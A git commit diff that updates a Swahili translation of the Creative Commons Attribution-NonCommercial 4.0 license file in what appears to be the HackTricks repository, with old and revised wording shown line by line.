Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:30:06 +00:00
parent ec777f0b01
commit 27552e5a39
294 changed files with 12674 additions and 16239 deletions

View File

@ -3,7 +3,7 @@
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Hakimiliki © Carlos Polop 2021. Isipokuwa ambapo imeelezwa vinginevyo (taarifa za nje zilizokopwa katika kitabu zinamilikiwa na waandishi wa asili), maandiko kwenye <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> na Carlos Polop yanatolewa chini ya <a href="https://creativecommons.org/licenses/by-nc/4.0/">Leseni ya Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>.
Leseni: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)<br>
Leseni Inayosomwa na Binadamu: https://creativecommons.org/licenses/by-nc/4.0/<br>
Leseni Inayosomwa na Watu: https://creativecommons.org/licenses/by-nc/4.0/<br>
Masharti Kamili ya Kisheria: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
Muundo: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
@ -11,67 +11,67 @@ Muundo: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master
# Attribution-NonCommercial 4.0 International
Creative Commons Corporation (“Creative Commons”) si kampuni ya sheria na haitoi huduma za kisheria au ushauri wa kisheria. Usambazaji wa leseni za umma za Creative Commons hauunda uhusiano wa wakili-mteja au uhusiano mwingine. Creative Commons inapatikana leseni zake na taarifa zinazohusiana kwenye msingi wa “kama ilivyo”. Creative Commons haitoi dhamana yoyote kuhusu leseni zake, nyenzo yoyote iliyotolewa chini ya masharti na hali zao, au taarifa yoyote inayohusiana. Creative Commons inakanusha dhima yoyote kwa uharibifu unaotokana na matumizi yao kwa kiwango kikubwa iwezekanavyo.
Creative Commons Corporation (“Creative Commons”) si kampuni ya sheria na haitoi huduma za kisheria au ushauri wa kisheria. Usambazaji wa leseni za umma za Creative Commons hauunda uhusiano wa wakili-mteja au uhusiano mwingine. Creative Commons inapatia leseni zake na taarifa zinazohusiana kwenye msingi wa “kama ilivyo”. Creative Commons haitoi dhamana yoyote kuhusu leseni zake, nyenzo zozote zilizotolewa chini ya masharti na hali zao, au taarifa zozote zinazohusiana. Creative Commons inakanusha dhima yoyote kwa uharibifu unaotokana na matumizi yao kwa kiwango kikubwa zaidi kinachowezekana.
## Kutumia Leseni za Umma za Creative Commons
Leseni za umma za Creative Commons zinatoa seti ya kawaida ya masharti na hali ambazo waumbaji na wamiliki wengine wa haki wanaweza kutumia kushiriki kazi za asili za uandishi na nyenzo nyingine zinazohusishwa na hakimiliki na haki nyingine maalum zilizotajwa katika leseni ya umma hapa chini. Mambo yafuatayo ni kwa madhumuni ya taarifa tu, si ya kina, na hayaundai sehemu ya leseni zetu.
Leseni za umma za Creative Commons zinatoa seti ya kawaida ya masharti na hali ambazo waumbaji na wamiliki wengine wa haki wanaweza kutumia kushiriki kazi za asili za uandishi na nyenzo nyingine zinazohusishwa na hakimiliki na haki nyingine fulani zilizotajwa katika leseni ya umma hapa chini. Mambo yafuatayo ni kwa madhumuni ya taarifa tu, si ya kina, na hayaundai sehemu ya leseni zetu.
- **Mambo ya kuzingatia kwa watoaji leseni:** Leseni zetu za umma zinakusudiwa kutumiwa na wale walioidhinishwa kutoa ruhusa kwa umma kutumia nyenzo kwa njia ambazo kwa kawaida zinakabiliwa na hakimiliki na haki nyingine maalum. Leseni zetu hazirudishwi. Watoaji leseni wanapaswa kusoma na kuelewa masharti na hali za leseni wanayochagua kabla ya kuitumia. Watoaji leseni wanapaswa pia kuhakikisha haki zote zinazohitajika kabla ya kutumia leseni zetu ili umma uweze kutumia nyenzo kama inavyotarajiwa. Watoaji leseni wanapaswa wazi kuashiria nyenzo yoyote isiyo chini ya leseni. Hii inajumuisha nyenzo nyingine zilizo na leseni ya CC, au nyenzo zinazotumiwa chini ya ubaguzi au kikomo cha hakimiliki. [Maelezo zaidi kwa watoaji leseni](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Mambo ya kuzingatia kwa watoaji leseni:** Leseni zetu za umma zinakusudiwa kutumiwa na wale walioidhinishwa kutoa ruhusa kwa umma kutumia nyenzo kwa njia ambazo kwa kawaida zinakabiliwa na hakimiliki na haki nyingine fulani. Leseni zetu hazirudishwi. Watoaji leseni wanapaswa kusoma na kuelewa masharti na hali za leseni wanayochagua kabla ya kuitumia. Watoaji leseni wanapaswa pia kuhakikisha haki zote zinazohitajika kabla ya kutumia leseni zetu ili umma uweze kutumia nyenzo kama inavyotarajiwa. Watoaji leseni wanapaswa wazi wazi kutambua nyenzo yoyote isiyo chini ya leseni. Hii inajumuisha nyenzo nyingine zilizo na leseni ya CC, au nyenzo zinazotumiwa chini ya ubaguzi au kikomo cha hakimiliki. [Maelezo zaidi kwa watoaji leseni](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Mambo ya kuzingatia kwa umma:** Kwa kutumia moja ya leseni zetu za umma, mtoaji leseni anampa umma ruhusa ya kutumia nyenzo iliyotolewa chini ya masharti na hali zilizotajwa. Ikiwa ruhusa ya mtoaji leseni si ya lazima kwa sababu yoyote kwa mfano, kwa sababu ya ubaguzi au kikomo chochote cha hakimiliki basi matumizi hayo hayataregulishwa na leseni. Leseni zetu zinatoa tu ruhusa chini ya hakimiliki na haki nyingine maalum ambazo mtoaji leseni ana mamlaka ya kutoa. Matumizi ya nyenzo iliyotolewa yanaweza bado kuwa na vizuizi kwa sababu nyingine, ikiwa ni pamoja na kwa sababu wengine wana hakimiliki au haki nyingine katika nyenzo hiyo. Mtoaji leseni anaweza kufanya maombi maalum, kama vile kuomba kwamba mabadiliko yote yawe na alama au kuelezwa. Ingawa si lazima na leseni zetu, unashauriwa kuheshimu maombi hayo pale inapowezekana. [Maelezo zaidi kwa umma](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
- **Mambo ya kuzingatia kwa umma:** Kwa kutumia moja ya leseni zetu za umma, mtoaji leseni anampa umma ruhusa ya kutumia nyenzo iliyotolewa chini ya masharti na hali zilizotajwa. Ikiwa ruhusa ya mtoaji leseni si muhimu kwa sababu yoyote kwa mfano, kwa sababu ya ubaguzi wowote unaotumika au kikomo cha hakimiliki basi matumizi hayo hayataregulishwa na leseni. Leseni zetu zinatoa tu ruhusa chini ya hakimiliki na haki nyingine fulani ambazo mtoaji leseni ana mamlaka ya kutoa. Matumizi ya nyenzo iliyotolewa yanaweza bado kuwa na vizuizi kwa sababu nyingine, ikiwa ni pamoja na kwa sababu wengine wana hakimiliki au haki nyingine katika nyenzo hiyo. Mtoaji leseni anaweza kufanya maombi maalum, kama vile kuomba kwamba mabadiliko yote yawe na alama au kuelezwa. Ingawa si lazima na leseni zetu, unashauriwa kuheshimu maombi hayo pale inapowezekana. [Maelezo zaidi kwa umma](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Leseni ya Umma ya Creative Commons Attribution-NonCommercial 4.0 International
Kwa kutumia Haki za Leseni (zilizofafanuliwa hapa chini), Unakubali na kukubali kufungwa na masharti na hali za Leseni hii ya Umma ya Creative Commons Attribution-NonCommercial 4.0 International ("Leseni ya Umma"). Kwa kiwango ambacho Leseni hii ya Umma inaweza kutafsiriwa kama mkataba, unapewa Haki za Leseni kwa kuzingatia kukubali kwako masharti na hali hizi, na Mtoaji leseni anakupa haki hizo kwa kuzingatia faida ambazo Mtoaji leseni anapata kwa kufanya Nyenzo za Leseni kupatikana chini ya masharti na hali hizi.
Kwa kutumia Haki za Leseni (zilizofafanuliwa hapa chini), Unakubali na kukubali kufungwa na masharti na hali za Leseni hii ya Umma ya Creative Commons Attribution-NonCommercial 4.0 International ("Leseni ya Umma"). Kwa kiwango ambacho Leseni hii ya Umma inaweza kutafsiriwa kama mkataba, unapewa Haki za Leseni kwa kuzingatia kukubali kwako masharti na hali hizi, na Mtoaji leseni anakupa haki hizo kwa kuzingatia faida ambazo Mtoaji leseni anapata kutokana na kuweka Nyenzo za Leseni zinazopatikana chini ya masharti na hali hizi.
## Sehemu ya 1 M definitions.
a. **Nyenzo zilizobadilishwa** inamaanisha nyenzo zinazohusishwa na Hakimiliki na Haki Zinazofanana ambazo zinatokana na au zinategemea Nyenzo za Leseni na ambazo Nyenzo za Leseni zimewekwa tafsiri, kubadilishwa, kuandaliwa, kubadilishwa, au vinginevyo kubadilishwa kwa njia inayohitaji ruhusa chini ya Hakimiliki na Haki Zinazofanana zinazoshikiliwa na Mtoaji leseni. Kwa madhumuni ya Leseni hii ya Umma, ambapo Nyenzo za Leseni ni kazi ya muziki, utendaji, au rekodi ya sauti, Nyenzo zilizobadilishwa daima zinatengenezwa ambapo Nyenzo za Leseni zimeunganishwa kwa wakati na picha inayoenda.
b. **Leseni ya Mbadala** inamaanisha leseni unayoomba kwa Hakimiliki na Haki Zinazofanana katika michango yako kwa Nyenzo zilizobadilishwa kulingana na masharti na hali za Leseni hii ya Umma.
b. **Leseni ya Mbadilishaji** inamaanisha leseni unayoomba kwa Hakimiliki na Haki Zinazofanana katika michango yako kwa Nyenzo zilizobadilishwa kulingana na masharti na hali za Leseni hii ya Umma.
c. **Hakimiliki na Haki Zinazofanana** inamaanisha hakimiliki na/au haki zinazofanana kwa karibu na hakimiliki ikiwa ni pamoja, bila kikomo, utendaji, matangazo, rekodi za sauti, na Haki za Hifadhidata za Sui Generis, bila kujali jinsi haki hizo zinavyotajwa au kuainishwa. Kwa madhumuni ya Leseni hii ya Umma, haki zilizotajwa katika Sehemu ya 2(b)(1)-(2) si Hakimiliki na Haki Zinazofanana.
d. **Hatua za Kiteknolojia za Ufanisi** inamaanisha hatua hizo ambazo, kwa kukosekana kwa mamlaka sahihi, haziwezi kupuuziliwa mbali chini ya sheria zinazotimiza wajibu chini ya Kifungu cha 11 cha Mkataba wa Hakimiliki wa WIPO ulioanzishwa tarehe 20 Desemba 1996, na/au makubaliano mengine ya kimataifa yanayofanana.
e. **Ubaguzi na Vikwazo** inamaanisha matumizi ya haki, biashara ya haki, na/au ubaguzi mwingine au kikomo kwa Hakimiliki na Haki Zinazofanana kinachotumika kwa matumizi yako ya Nyenzo za Leseni.
e. **Ubaguzi na Vikwazo** inamaanisha matumizi ya haki, biashara ya haki, na/au ubaguzi mwingine wowote au kikomo kwa Hakimiliki na Haki Zinazofanana kinachotumika kwa matumizi yako ya Nyenzo za Leseni.
f. **Nyenzo za Leseni** inamaanisha kazi ya kisanii au ya kifasihi, hifadhidata, au nyenzo nyingine ambazo Mtoaji leseni alitumia Leseni hii ya Umma.
g. **Haki za Leseni** inamaanisha haki zinazokupwa chini ya masharti na hali za Leseni hii ya Umma, ambazo zinapunguzwa kwa Hakimiliki zote na Haki Zinazofanana zinazotumika kwa matumizi yako ya Nyenzo za Leseni na ambazo Mtoaji leseni ana mamlaka ya kutoa leseni.
g. **Haki za Leseni** inamaanisha haki zinazokupatia wewe chini ya masharti na hali za Leseni hii ya Umma, ambazo zinapunguzwa kwa Hakimiliki zote na Haki Zinazofanana zinazotumika kwa matumizi yako ya Nyenzo za Leseni na ambazo Mtoaji leseni ana mamlaka ya kutoa leseni.
h. **Mtoaji leseni** inamaanisha mtu(au) au chombo(au) kinachotoa haki chini ya Leseni hii ya Umma.
h. **Mtoaji leseni** inamaanisha mtu(au) au shirika(au) linalotoa haki chini ya Leseni hii ya Umma.
i. **NonCommercial** inamaanisha si kwa nia kuu ya faida ya kibiashara au malipo ya fedha. Kwa madhumuni ya Leseni hii ya Umma, kubadilishana Nyenzo za Leseni kwa nyenzo nyingine zinazohusishwa na Hakimiliki na Haki Zinazofanana kwa njia ya kushiriki faili za kidijitali au njia nyingine zinazofanana ni NonCommercial ikiwa hakuna malipo ya fedha yanayohusiana na kubadilishana.
j. **Shiriki** inamaanisha kutoa nyenzo kwa umma kwa njia yoyote au mchakato unaohitaji ruhusa chini ya Haki za Leseni, kama vile uzalishaji, kuonyesha hadharani, utendaji wa hadharani, usambazaji, usambazaji, mawasiliano, au uagizaji, na kufanya nyenzo kupatikana kwa umma ikiwa ni pamoja na njia ambazo wanachama wa umma wanaweza kufikia nyenzo kutoka mahali na wakati waliouchagua binafsi.
j. **Shiriki** inamaanisha kutoa nyenzo kwa umma kwa njia yoyote au mchakato unaohitaji ruhusa chini ya Haki za Leseni, kama vile uzalishaji, kuonyesha hadharani, utendaji wa hadharani, usambazaji, usambazaji, mawasiliano, au uagizaji, na kufanya nyenzo ipatikane kwa umma ikiwa ni pamoja na kwa njia ambazo wanachama wa umma wanaweza kufikia nyenzo kutoka mahali na wakati waliouchagua binafsi.
k. **Haki za Hifadhidata za Sui Generis** inamaanisha haki nyingine isipokuwa hakimiliki zinazotokana na Maagizo 96/9/EC ya Bunge la Ulaya na Baraza la 11 Machi 1996 kuhusu ulinzi wa kisheria wa hifadhidata, kama ilivyorekebishwa na/au kufuatwa, pamoja na haki nyingine zinazofanana mahali popote duniani.
k. **Haki za Hifadhidata za Sui Generis** inamaanisha haki nyingine isipokuwa hakimiliki zinazotokana na Maagizo 96/9/EC ya Bunge la Ulaya na Baraza la tarehe 11 Machi 1996 kuhusu ulinzi wa kisheria wa hifadhidata, kama ilivyorekebishwa na/au kufuatwa, pamoja na haki nyingine zinazofanana mahali popote duniani.
l. **Wewe** inamaanisha mtu au chombo kinachotumia Haki za Leseni chini ya Leseni hii ya Umma. Wewe ina maana inayolingana.
l. **Wewe** inamaanisha mtu au shirika linalotumia Haki za Leseni chini ya Leseni hii ya Umma. Wewe ina maana inayolingana.
## Sehemu ya 2 Muktadha.
a. **_Utoaji wa leseni._**
1. Kwa kuzingatia masharti na hali za Leseni hii ya Umma, Mtoaji leseni kwa hapa anakupa leseni ya kimataifa, isiyo na malipo, isiyoweza kutolewa, isiyo ya kipekee, isiyoweza kubadilishwa ya kutumia Haki za Leseni katika Nyenzo za Leseni ili:
1. Kwa kuzingatia masharti na hali za Leseni hii ya Umma, Mtoaji leseni kwa hapa anakupa leseni ya kimataifa, isiyo na malipo, isiyoweza kupitishwa, isiyo ya kipekee, isiyoweza kubadilishwa ya kutumia Haki za Leseni katika Nyenzo za Leseni ili:
A. kuzalisha na Kushiriki Nyenzo za Leseni, kwa ujumla au sehemu, kwa madhumuni ya NonCommercial pekee; na
B. kutengeneza, kuzalisha, na Kushiriki Nyenzo zilizobadilishwa kwa madhumuni ya NonCommercial pekee.
2. **Ubaguzi na Vikwazo.** Ili kuepuka shaka, ambapo Ubaguzi na Vikwazo vinatumika kwa matumizi yako, Leseni hii ya Umma haitatumika, na huna haja ya kufuata masharti na hali zake.
3. **Muda.** Muda wa Leseni hii ya Umma umeainishwa katika Sehemu ya 6(a).
2. **Ubaguzi na Vikwazo.** Ili kuepuka shaka, ambapo Ubaguzi na Vikwazo vinatumika kwa matumizi yako, Leseni hii ya Umma haitumiki, na huna haja ya kufuata masharti na hali zake.
3. **Muda.** Muda wa Leseni hii ya Umma umeelezwa katika Sehemu ya 6(a).
4. **Vyombo na muundo; mabadiliko ya kiufundi yanaruhusiwa.** Mtoaji leseni anakupa ruhusa ya kutumia Haki za Leseni katika vyombo vyote na muundo iwe sasa inajulikana au itakayotengenezwa baadaye, na kufanya mabadiliko ya kiufundi yanayohitajika kufanya hivyo. Mtoaji leseni anakanusha na/au anakubali kutoshikilia haki yoyote au mamlaka ya kukuzuia kufanya mabadiliko ya kiufundi yanayohitajika kutumia Haki za Leseni, ikiwa ni pamoja na mabadiliko ya kiufundi yanayohitajika kupita Hatua za Kiteknolojia za Ufanisi. Kwa madhumuni ya Leseni hii ya Umma, kufanya tu mabadiliko yanayoruhusiwa na Sehemu hii 2(a)(4) kamwe hakuzalishi Nyenzo zilizobadilishwa.
4. **Vyombo na muundo; mabadiliko ya kiufundi yanaruhusiwa.** Mtoaji leseni anakupa ruhusa ya kutumia Haki za Leseni katika vyombo vyote na muundo iwe sasa inajulikana au itakayotengenezwa baadaye, na kufanya mabadiliko ya kiufundi yanayohitajika ili kufanya hivyo. Mtoaji leseni anakanusha na/au anakubali kutoshikilia haki yoyote au mamlaka ya kukuzuia kufanya mabadiliko ya kiufundi yanayohitajika kutumia Haki za Leseni, ikiwa ni pamoja na mabadiliko ya kiufundi yanayohitajika kupita Hatua za Kiteknolojia za Ufanisi. Kwa madhumuni ya Leseni hii ya Umma, kufanya tu mabadiliko yanayoruhusiwa na Sehemu hii 2(a)(4) kamwe hakuzalishi Nyenzo zilizobadilishwa.
5. **Wapokeaji wa chini.**
A. **Ofa kutoka kwa Mtoaji leseni Nyenzo za Leseni.** Kila mpokeaji wa Nyenzo za Leseni moja kwa moja anapata ofa kutoka kwa Mtoaji leseni kutumia Haki za Leseni chini ya masharti na hali za Leseni hii ya Umma.
B. **Hakuna vizuizi vya chini.** Huwezi kutoa au kuweka masharti au hali yoyote ya ziada au tofauti, au kutumia Hatua za Kiteknolojia za Ufanisi kwa Nyenzo za Leseni ikiwa kufanya hivyo kunakabili matumizi ya Haki za Leseni na mpokeaji yeyote wa Nyenzo za Leseni.
6. **Hakuna uthibitisho.** Hakuna kitu katika Leseni hii ya Umma kinachounda au kinaweza kutafsiriwa kama ruhusa ya kudai au kuashiria kwamba wewe ni, au kwamba matumizi yako ya Nyenzo za Leseni ni, kuhusiana na, au kudhaminiwa, kuungwa mkono, au kutolewa hadhi rasmi na, Mtoaji leseni au wengine waliopewa sifa kama ilivyoainishwa katika Sehemu ya 3(a)(1)(A)(i).
6. **Hakuna uthibitisho.** Hakuna kitu katika Leseni hii ya Umma kinachounda au kinaweza kutafsiriwa kama ruhusa ya kudai au kuashiria kwamba wewe ni, au kwamba matumizi yako ya Nyenzo za Leseni ni, kuhusishwa na, au kudhaminiwa, kuungwa mkono, au kutolewa hadhi rasmi na, Mtoaji leseni au wengine waliopewa sifa kama ilivyoelezwa katika Sehemu ya 3(a)(1)(A)(i).
b. **_Haki nyingine._**
@ -79,7 +79,7 @@ b. **_Haki nyingine._**
2. Haki za patent na alama za biashara hazijatumika chini ya Leseni hii ya Umma.
3. Kadri inavyowezekana, Mtoaji leseni anakanusha haki yoyote ya kukusanya malipo kutoka kwako kwa matumizi ya Haki za Leseni, iwe moja kwa moja au kupitia jamii ya kukusanya chini ya mpango wowote wa leseni wa hiari au wa kuweza kuondolewa. Katika hali nyingine zote Mtoaji leseni anahifadhi haki yoyote ya kukusanya malipo kama hayo, ikiwa ni pamoja na wakati Nyenzo za Leseni zinapotumiwa tofauti na madhumuni ya NonCommercial.
3. Kadri inavyowezekana, Mtoaji leseni anakanusha haki yoyote ya kukusanya malipo kutoka kwako kwa matumizi ya Haki za Leseni, iwe moja kwa moja au kupitia shirika la kukusanya chini ya mpango wowote wa leseni wa hiari au wa kisheria au wa lazima. Katika hali nyingine zote Mtoaji leseni anahifadhi haki yoyote ya kukusanya malipo kama hayo, ikiwa ni pamoja na wakati Nyenzo za Leseni zinapotumiwa tofauti na madhumuni ya NonCommercial.
## Sehemu ya 3 Masharti ya Leseni.
@ -89,9 +89,9 @@ a. **_Sifa._**
1. Ikiwa Unashiriki Nyenzo za Leseni (ikiwemo katika mfumo uliobadilishwa), lazima:
A. uendelee yafuatayo ikiwa yanatolewa na Mtoaji leseni pamoja na Nyenzo za Leseni:
A. uendelee yafuatayo ikiwa yamepewa na Mtoaji leseni pamoja na Nyenzo za Leseni:
i. utambulisho wa muumba(muumbaji) wa Nyenzo za Leseni na wengine wote waliotajwa kupokea sifa, kwa njia yoyote inayofaa iliyotolewa na Mtoaji leseni (ikiwemo kwa jina la utani ikiwa imeainishwa);
i. utambulisho wa muumba(muumbaji) wa Nyenzo za Leseni na wengine wote waliotajwa kupokea sifa, kwa njia yoyote inayofaa iliyotolewa na Mtoaji leseni (ikiwemo kwa jina la utani ikiwa imewekwa);
ii. tangazo la hakimiliki;
@ -99,17 +99,17 @@ iii. tangazo linalorejelea Leseni hii ya Umma;
iv. tangazo linalorejelea kukana dhamana;
v. URI au kiungo cha nyaraka za Nyenzo za Leseni kadri inavyowezekana;
v. URI au kiungo cha nyumbani kwa Nyenzo za Leseni kadri inavyowezekana;
B. uonyeshe ikiwa umebadilisha Nyenzo za Leseni na uendelee kuashiria mabadiliko yoyote ya awali; na
B. uonyeshe ikiwa umebadilisha Nyenzo za Leseni na uendelee kuonyesha alama yoyote ya mabadiliko ya awali; na
C. uonyeshe Nyenzo za Leseni ziko chini ya Leseni hii ya Umma, na ujumuishe maandiko ya, au URI au kiungo cha, Leseni hii ya Umma.
C. uonyeshe Nyenzo za Leseni ziko chini ya Leseni hii ya Umma, na ujumuishe maandiko ya, au URI au kiungo cha nyumbani kwa, Leseni hii ya Umma.
2. Unaweza kutimiza masharti katika Sehemu 3(a)(1) kwa njia yoyote inayofaa kulingana na vyombo, njia, na muktadha ambao Unashiriki Nyenzo za Leseni. Kwa mfano, inaweza kuwa na maana kutoa URI au kiungo kwa rasilimali inayojumuisha taarifa zinazohitajika.
2. Unaweza kutimiza masharti katika Sehemu 3(a)(1) kwa njia yoyote inayofaa kulingana na vyombo, njia, na muktadha ambao Unashiriki Nyenzo za Leseni. Kwa mfano, inaweza kuwa na maana ya kutimiza masharti kwa kutoa URI au kiungo cha nyumbani kwa rasilimali inayojumuisha taarifa zinazohitajika.
3. Ikiwa inahitajika na Mtoaji leseni, lazima uondoe taarifa yoyote inayohitajika na Sehemu 3(a)(1)(A) kadri inavyowezekana.
4. Ikiwa Unashiriki Nyenzo zilizobadilishwa unazozalisha, Leseni ya Mbadala unayoomba haipaswi kuzuia wapokeaji wa Nyenzo zilizobadilishwa kufuata Leseni hii ya Umma.
4. Ikiwa Unashiriki Nyenzo zilizobadilishwa unazozalisha, Leseni ya Mbadilishaji unayoomba haipaswi kuzuia wapokeaji wa Nyenzo zilizobadilishwa kufuata Leseni hii ya Umma.
## Sehemu ya 4 Haki za Hifadhidata za Sui Generis.
@ -125,17 +125,17 @@ Ili kuepuka shaka, Sehemu hii 4 inakamilisha na haitabadilisha wajibu wako chini
## Sehemu ya 5 Kukana Dhamana na Kizuizi cha Dhima.
a. **Ili kuepuka shaka, isipokuwa ikiwa imefanywa tofauti na Mtoaji leseni, kadri inavyowezekana, Mtoaji leseni anatoa Nyenzo za Leseni kama ilivyo na inapatikana, na haitoi uwakilishi au dhamana yoyote ya aina yoyote kuhusu Nyenzo za Leseni, iwe wazi, iliyofichwa, ya kisheria, au nyingine. Hii inajumuisha, bila kikomo, dhamana za umiliki, biashara, kufaa kwa madhumuni maalum, kutovunja, ukosefu wa kasoro za siri au nyingine, usahihi, au uwepo au ukosefu wa makosa, iwe yanajulikana au yanayoweza kugundulika. Wakati kukana dhamana hakuruhusiwi kwa sehemu au kwa sehemu, kukana huku hakutaweza kukuhusu.**
a. **Ili kuepuka shaka, isipokuwa ikiwa imefanywa tofauti na Mtoaji leseni, kadri inavyowezekana, Mtoaji leseni anatoa Nyenzo za Leseni kama ilivyo na inapatikana, na haitoi uwakilishi au dhamana yoyote ya aina yoyote kuhusu Nyenzo za Leseni, iwe wazi, iliyofichwa, ya kisheria, au nyingine. Hii inajumuisha, bila kikomo, dhamana za umiliki, biashara, kufaa kwa madhumuni maalum, kutovunja, ukosefu wa kasoro za siri au nyingine, usahihi, au uwepo au ukosefu wa makosa, iwe yanajulikana au yanapatikana. Wakati kukana dhamana hakuruhusiwi kwa sehemu au kwa sehemu, kukana huku hakutaweza kutumika kwako.**
b. **Kadri inavyowezekana, kwa hali yoyote Mtoaji leseni hatakuwa na dhima kwako kwa nadharia yoyote ya kisheria (ikiwemo, bila kikomo, uzembe) au vinginevyo kwa hasara yoyote ya moja kwa moja, maalum, isiyo ya moja kwa moja, ya bahati mbaya, ya matokeo, ya adhabu, ya mfano, au hasara nyingine, gharama, matumizi, au uharibifu unaotokana na Leseni hii ya Umma au matumizi ya Nyenzo za Leseni, hata kama Mtoaji leseni ameshawishiwa uwezekano wa hasara hizo, gharama, matumizi, au uharibifu. Wakati kizuizi cha dhima hakuruhusiwi kwa sehemu au kwa sehemu, kizuizi hiki hakiwezi kukuhusu.**
b. **Kadri inavyowezekana, kwa hali yoyote Mtoaji leseni hatakuwa na dhima kwako kwa nadharia yoyote ya kisheria (ikiwemo, bila kikomo, uzembe) au vinginevyo kwa hasara yoyote ya moja kwa moja, maalum, isiyo ya moja kwa moja, ya bahati mbaya, ya matokeo, ya adhabu, ya mfano, au hasara nyingine, gharama, matumizi, au uharibifu unaotokana na Leseni hii ya Umma au matumizi ya Nyenzo za Leseni, hata kama Mtoaji leseni ameshawishiwa kuhusu uwezekano wa hasara hizo, gharama, matumizi, au uharibifu. Wakati kizuizi cha dhima hakiruhusiwi kwa sehemu au kwa sehemu, kizuizi hiki hakiwezi kutumika kwako.**
c. Kukana dhamana na kizuizi cha dhima kilichotolewa hapo juu kitatafsiriwa kwa njia ambayo, kadri inavyowezekana, inakaribia kukana kabisa na kuondoa dhima zote.
## Sehemu ya 6 Muda na Kukomesha.
## Sehemu ya 6 Muda na Kuondolewa.
a. Leseni hii ya Umma inatumika kwa muda wa Hakimiliki na Haki Zinazofanana zilizotolewa hapa. Hata hivyo, ikiwa hutatii Leseni hii ya Umma, basi haki zako chini ya Leseni hii ya Umma zitakoma moja kwa moja.
b. Wakati haki yako ya kutumia Nyenzo za Leseni imekoma chini ya Sehemu 6(a), inarejeshwa:
b. Wakati haki yako ya kutumia Nyenzo za Leseni imekatishwa chini ya Sehemu 6(a), inarejeshwa:
1. moja kwa moja kuanzia tarehe ukiukaji unavyotatuliwa, ikiwa umetatuliwa ndani ya siku 30 za kugundua ukiukaji; au
@ -143,25 +143,25 @@ b. Wakati haki yako ya kutumia Nyenzo za Leseni imekoma chini ya Sehemu 6(a), in
Ili kuepuka shaka, Sehemu hii 6(b) haikathiri haki yoyote ambayo Mtoaji leseni anaweza kuwa nayo kutafuta suluhu kwa ukiukaji wako wa Leseni hii ya Umma.
c. Ili kuepuka shaka, Mtoaji leseni anaweza pia kutoa Nyenzo za Leseni chini ya masharti au hali tofauti au kusitisha usambazaji wa Nyenzo za Leseni wakati wowote; hata hivyo, kufanya hivyo hakutakomesha Leseni hii ya Umma.
c. Ili kuepuka shaka, Mtoaji leseni anaweza pia kutoa Nyenzo za Leseni chini ya masharti au hali tofauti au kuacha kusambaza Nyenzo za Leseni wakati wowote; hata hivyo, kufanya hivyo hakutakomesha Leseni hii ya Umma.
d. Sehemu za 1, 5, 6, 7, na 8 zinaendelea hata baada ya kukomesha Leseni hii ya Umma.
d. Sehemu za 1, 5, 6, 7, na 8 zinaendelea hata baada ya kuondolewa kwa Leseni hii ya Umma.
## Sehemu ya 7 Masharti na Hali Nyingine.
a. Mtoaji leseni hatakuwa na wajibu wa masharti au hali yoyote ya ziada au tofauti iliyowasilishwa na wewe isipokuwa ikikubaliwa wazi.
a. Mtoaji leseni hatakuwa na wajibu wa masharti au hali yoyote ya ziada au tofauti iliyowasilishwa na wewe isipokuwa ikubaliwe wazi.
b. Mpango wowote, kuelewana, au makubaliano kuhusu Nyenzo za Leseni ambayo hayajatangazwa hapa ni tofauti na huru kutoka kwa masharti na hali za Leseni hii ya Umma.
b. Mpango wowote, kuelewana, au makubaliano kuhusu Nyenzo za Leseni ambayo hayajatolewa hapa ni tofauti na huru kutoka kwa masharti na hali za Leseni hii ya Umma.
## Sehemu ya 8 Tafsiri.
a. Ili kuepuka shaka, Leseni hii ya Umma haitapunguza, kuzuia, kukandamiza, au kuweka masharti yoyote juu ya matumizi yoyote ya Nyenzo za Leseni ambayo yanaweza kufanywa kisheria bila ruhusa chini ya Leseni hii ya Umma.
a. Ili kuepuka shaka, Leseni hii ya Umma haitoi, na haitatafsiriwa kupunguza, kupunguza, kuzuia, au kuweka masharti yoyote kwenye matumizi yoyote ya Nyenzo za Leseni ambayo yanaweza kufanywa kisheria bila ruhusa chini ya Leseni hii ya Umma.
b. Kadri inavyowezekana, ikiwa kipengele chochote cha Leseni hii ya Umma kinachukuliwa kuwa hakiwezi kutekelezeka, kitarejeshwa moja kwa moja kwa kiwango cha chini kinachohitajika kufanya iweze kutekelezeka. Ikiwa kipengele hakiwezi kurekebishwa, kitakatwa kutoka Leseni hii ya Umma bila kuathiri utekelezaji wa masharti na hali zilizobaki.
b. Kadri inavyowezekana, ikiwa kifungu chochote cha Leseni hii ya Umma kinachukuliwa kuwa hakiwezi kutekelezwa, kitarejeshwa moja kwa moja kwa kiwango cha chini kinachohitajika kufanya iweze kutekelezwa. Ikiwa kifungu hakiwezi kurekebishwa, kitakatwa kutoka Leseni hii ya Umma bila kuathiri utekelezaji wa masharti na hali zilizobaki.
c. Hakuna masharti au hali yoyote ya Leseni hii ya Umma itakayoondolewa na hakuna kushindwa kutii kutakubaliwa isipokuwa ikikubaliwa wazi na Mtoaji leseni.
c. Hakuna masharti au hali yoyote ya Leseni hii ya Umma itakayoondolewa na hakuna kushindwa kutii kutakubaliwa isipokuwa ikubaliwe wazi na Mtoaji leseni.
d. Hakuna kitu katika Leseni hii ya Umma kinachounda au kinaweza kutafsiriwa kama kizuizi, au kuondolewa, kwa haki na kinga zozote zinazotumika kwa Mtoaji leseni au Wewe, ikiwa ni pamoja na kutoka kwa michakato ya kisheria ya mamlaka yoyote au mamlaka.
